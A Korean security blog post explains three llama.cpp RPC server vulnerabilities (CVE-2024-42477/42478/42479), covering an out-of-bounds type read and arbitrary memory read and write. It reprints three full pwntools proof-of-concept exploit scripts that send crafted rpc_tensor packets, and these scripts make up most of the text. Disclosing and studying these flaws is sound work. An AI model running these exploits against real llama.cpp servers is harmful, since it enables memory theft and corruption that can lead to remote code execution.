[하루한줄] CVE-2024-42477/CVE-2024-42478/CVE-2024-42479: llama.cpp Memory Leak & Arbitrary Read & Write 취약점
URL
Target
- llama.cpp b3561 버전 미만
Explain
LLM 추론 도구인 llama.cpp 에서 Memory Leak 및 Arbitrary Read & Write 취약점이 발견되었습니다. llama.cpp 에서 RPC 서버 기능을 사용할 때 이 취약점들로 원격 코드 실행이 가능합니다.
추론 도구에 웬 RPC 서버가 있는지 궁금해하실 수 있는데, 주석에 따르면 ggml 이라고 LLM 을 개인 컴퓨터에서 구동시키기 위한 경량화 라이브러리와의 통신을 위해 구현됐다고 하네요. 이를 통해 distributed LLM Inference 라는걸 가능하게 한다는데 먼 산으로 가는 것 같으니 접고 취약점 얘기로 이어가겠습니다.
rpc_tensor 구조체
3개의 취약점들에서 공통적으로 조작하는 구조체는 rpc_tensor 인데요. 구조체 원형은 다음과 같습니다.
주석에서 미루어 짐작할 수 있듯 ggml 라이브러리에서 사용하는 ggml_tensor 구조체가 rpc_tensor 구조체로 serialize 되면서 서로 정보를 주고 받는데에 사용하는 용도입니다.
어찌됐건, RPC 서버↔클라이언트 간 주고받는 사용자 입력이 rpc_tensor 구조체 대로 오간다는게 중요한 포인트입니다.
구조체 멤버 중 취약점들과 관련이 있는 중요 멤버들은 type 과 data 입니다. 약간의 스포일러를 하자면 type 은 Memory Leak 과 관련이 있고 data 는 Arbitrary Read & Write 취약점에서 사용됩니다.
// ggml_tensor is serialized into rpc_tensor
#pragma pack(push, 1)
struct rpc_tensor {
uint64_t id;
uint32_t type;
uint64_t buffer;
uint32_t ne[GGML_MAX_DIMS];
uint32_t nb[GGML_MAX_DIMS];
uint32_t op;
int32_t op_params[GGML_MAX_OP_PARAMS / sizeof(int32_t)];
int32_t flags;
uint64_t src[GGML_MAX_SRC];
uint64_t view_src;
uint64_t view_offs;
uint64_t data;
char name[GGML_MAX_NAME];
char padding[4];
};
#pragma pack(pop)
CVE-2024-42477 (Memory Leak)
rpc_tensor 구조체의 type 멤버를 조작하여 발생하는 Overflow 취약점입니다.
클라이언트로부터 데이터를 받은 후 get_tensor 를 수행할 때, ggml_type_size 함수가 호출되는데요. type 에 따라 type_size 를 반환하도록 의도했지만 type 변수에 대한 검사가 없어서 OOB read 가 가능합니다. 이를 통해 Memory Leak 이 가능하다네요.
GGML_CALL size_t ggml_type_size(enum ggml_type type) {
return type_traits[type].type_size; //The type value is not properly validated or sanitized.
}
PoC (CVE-2024-42477)
공개된 PoC 는 다음과 같은데요. get_tensor 를 할 때 type 을 0x100 을 지정해서 OOB read 를 하고 있습니다.
from pwn import *
ALLOC_BUFFER = 0
GET_ALIGNMENT = 1
GET_MAX_SIZE = 2
BUFFER_GET_BASE = 3
FREE_BUFFER = 4
BUFFER_CLEAR = 5
SET_TENSOR = 6
GET_TENSOR = 7
COPY_TENSOR = 8
GRAPH_COMPUTE = 9
GET_DEVICE_MEMORY = 10
context(arch='amd64',log_level = 'debug')
p = remote("127.0.0.1",50052)
pd = b''
rpc_tensor_pd = flat(
{
0: [
0x1, # id
p32(0x100), # type
p64(0xdeadbeef), # buffer
[ # ne
p32(0xdeadbeef),
p32(0xdeadbeef),
p32(0xdeadbeef),
p32(0xdeadbeef),
],
[ # nb
p32(1),
p32(1),
p32(1),
p32(1),
],
p32(0), # op
[p32(0)] * 16, # op_params (corrected from 8 to 16)
p32(0), # flags
[p64(0)] * 10, # src
p64(0), # view_src
p64(0), # view_offs
p64(0xdeadbeef), # data
'a' * 64, # name
'x' * 4 # padding
],
}
)
cmd = p8(GET_TENSOR)
content = flat(
{
0: rpc_tensor_pd + p64(0) + p64(0x100)
}
)
input_size = p64(len(content))
pd+= cmd + input_size + content
p.send(pd)
p.recvall(timeout=1)
p.close()
CVE-2024-42478 (Arbitrary Read)
rpc_tensor 구조체의 data 멤버를 조작해서 원하는 메모리 주소의 값을 읽어들일 수 있는 취약점입니다. 관련한 함수는 다음과 같습니다. memcpy 를 통해 tensor→data +offset 를 size 만큼 읽어 data 변수에 배치합니다. 이 또한 get_tensor 를 할 때 발생합니다.
GGML_CALL static void ggml_backend_cpu_buffer_get_tensor(ggml_backend_buffer_t buffer, const struct ggml_tensor * tensor, void * data, size_t offset, size_t size) {
memcpy(data, (const char *)tensor->data + offset, size);
GGML_UNUSED(buffer);
}
PoC (CVE-2024-42478)
이 취약점의 PoC 입니다. get_device_memory, get_alignment 를 호출하고 (아마 초기화 과정으로 유추합니다.) alloc_buffer 로 0x100 만큼 할당한 메모리 주소에 오프셋 0x160 만큼 더한 주소를 읽고 있습니다.
from pwn import *
ALLOC_BUFFER = 0
GET_ALIGNMENT = 1
GET_MAX_SIZE = 2
BUFFER_GET_BASE = 3
FREE_BUFFER = 4
BUFFER_CLEAR = 5
SET_TENSOR = 6
GET_TENSOR = 7
COPY_TENSOR = 8
GRAPH_COMPUTE = 9
GET_DEVICE_MEMORY = 10
context(arch='amd64',log_level = 'debug')
base_memory = 0x0
p = remote("127.0.0.1",50052)
pd = b''
cmd = p8(GET_DEVICE_MEMORY)
content = b''
input_size = p64(len(content))
pd+= cmd + input_size + content
p.send(pd)
recv = p.recvall(timeout=1)
p.close()
p = remote("127.0.0.1",50052)
pd = b''
cmd = p8(GET_ALIGNMENT)
content = b''
input_size = p64(len(content))
pd+= cmd + input_size + content
cmd = p8(ALLOC_BUFFER)
content = p64(0x100)
input_size = p64(len(content))
pd+= cmd + input_size + content
p.send(pd)
recv = p.recvall(timeout=1)
remote_ptr = u64(recv[0x18:0x20])
sz = u64(recv[0x20:0x28])
log.success(f"remote_ptr:{hex(remote_ptr)},size:{sz}")
p.recvall(timeout=1)
p.close()
'''
When the vulnerability cannot be triggered, you might want to adjust the next_ptr variable in the script to the buffer address returned by ALLOC_BUFFER.
'''
next_ptr = remote_ptr + 0x160
log.success(f'next_ptr:{hex(next_ptr)}')
p = remote("127.0.0.1",50052)
cmd = p8(ALLOC_BUFFER)
content = p64(0x100)
input_size = p64(len(content))
pd = cmd + input_size + content
rpc_tensor_pd = flat(
{
0: [
0x1, # id
p32(2), # type
p64(next_ptr), # buffer
[ # ne
p32(0xdeadbeef),
p32(0xdeadbeef),
p32(0xdeadbeef),
p32(0xdeadbeef),
],
[ # nb
p32(1),
p32(1),
p32(1),
p32(1),
],
p32(0), # op
[p32(0)] * 16, # op_params (corrected from 8 to 16)
p32(0), # flags
[p64(0)] * 10, # src
p64(0), # view_src
p64(0), # view_offs
p64(0xdeadbeef), # data
'a' * 64, # name
'x' * 4 # padding
],
}
)
cmd = p8(GET_TENSOR)
content = flat(
{
0: rpc_tensor_pd + p64(0) + p64(0x100)
}
)
input_size = p64(len(content))
pd+= cmd + input_size + content
p.send(pd)
p.recv(0x18)
p.close()
CVE-2024-42479 (Arbitrary Write)
rpc_tensor 구조체의 data 멤버를 조작해서 원하는 메모리 주소에 값을 쓸 수 있는 취약점입니다. 관련한 함수는 다음과 같습니다. 이번에는 set_tensor 를 할 때 발생합니다.
GGML_CALL static void ggml_backend_cpu_buffer_set_tensor(ggml_backend_buffer_t buffer, struct ggml_tensor * tensor, const void * data, size_t offset, size_t size) {
memcpy((char *)tensor->data + offset, data, size); //Write-what-where In here!
GGML_UNUSED(buffer);
}
PoC (CVE-2024-42479)
PoC 입니다. AAR 을 할 때와 마찬가지로 alloc_buffer 로 할당 받은 주소에 0x160 을 더한 주소에 ‘a’ 를 0x100 개 만큼 쓰고 있습니다.
from pwn import *
ALLOC_BUFFER = 0
GET_ALIGNMENT = 1
GET_MAX_SIZE = 2
BUFFER_GET_BASE = 3
FREE_BUFFER = 4
BUFFER_CLEAR = 5
SET_TENSOR = 6
GET_TENSOR = 7
COPY_TENSOR = 8
GRAPH_COMPUTE = 9
GET_DEVICE_MEMORY = 10
context(arch='amd64',log_level = 'debug')
p = remote("127.0.0.1",50052)
pd = b''
cmd = p8(GET_DEVICE_MEMORY)
content = b''
input_size = p64(len(content))
pd+= cmd + input_size + content
p.send(pd)
recv = p.recvall(timeout=1)
p.close()
p = remote("127.0.0.1",50052)
pd = b''
cmd = p8(GET_ALIGNMENT)
content = b''
input_size = p64(len(content))
pd+= cmd + input_size + content
cmd = p8(ALLOC_BUFFER)
content = p64(0x100)
input_size = p64(len(content))
pd+= cmd + input_size + content
p.send(pd)
recv = p.recvall(timeout=1)
remote_ptr = u64(recv[0x18:0x20])
sz = u64(recv[0x20:0x28])
log.success(f"remote_ptr:{hex(remote_ptr)},size:{sz}")
p.recvall(timeout=1)
p.close()
'''
When the vulnerability cannot be triggered, you might want to adjust the next_ptr variable in the script to the buffer address returned by ALLOC_BUFFER.
'''
next_ptr = remote_ptr + 0x160
log.success(f'next_ptr:{hex(next_ptr)}')
p = remote("127.0.0.1",50052)
cmd = p8(ALLOC_BUFFER)
content = p64(0x100)
input_size = p64(len(content))
pd = cmd + input_size + content
leak_address = remote_ptr + 0x90
#fake a rpc_tensor
rpc_tensor_pd = flat(
{
0: [
0x1, # id
p32(2), # type
p64(next_ptr), # buffer
[ # ne
p32(0xdeadbeef),
p32(0xdeadbeef),
p32(0xdeadbeef),
p32(0xdeadbeef),
],
[ # nb
p32(1),
p32(1),
p32(1),
p32(1),
],
p32(0), # op
[p32(0)] * 16, # op_params (corrected from 8 to 16)
p32(0), # flags
[p64(0)] * 10, # src
p64(0), # view_src
p64(0), # view_offs
p64(0xdeadbeef), # data
'a' * 64, # name
'x' * 4 # padding
],
}
)
cmd = p8(SET_TENSOR)
content = flat(
{
0: [rpc_tensor_pd + p64(0) + p64(0x100),
b'a'*0x100]
}
)
input_size = p64(len(content))
pd+= cmd + input_size + content
p.send(pd)
p.recv(0x18)
p.close()
llama.cpp 에서 발생한 3개의 취약점들과 PoC 들을 알아보았습니다. 처음 발견하신 분에 따르면 AAR 과 AAW 로 RCE 를 하는데에 이용했다고 하네요.
AI 시대인 요즘에도 LLM 관련 도구의 취약점을 pwntools 로 익스플로잇 하는 것을 보니 결국 타겟 선정이 중요한게 아닌가 싶습니다.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.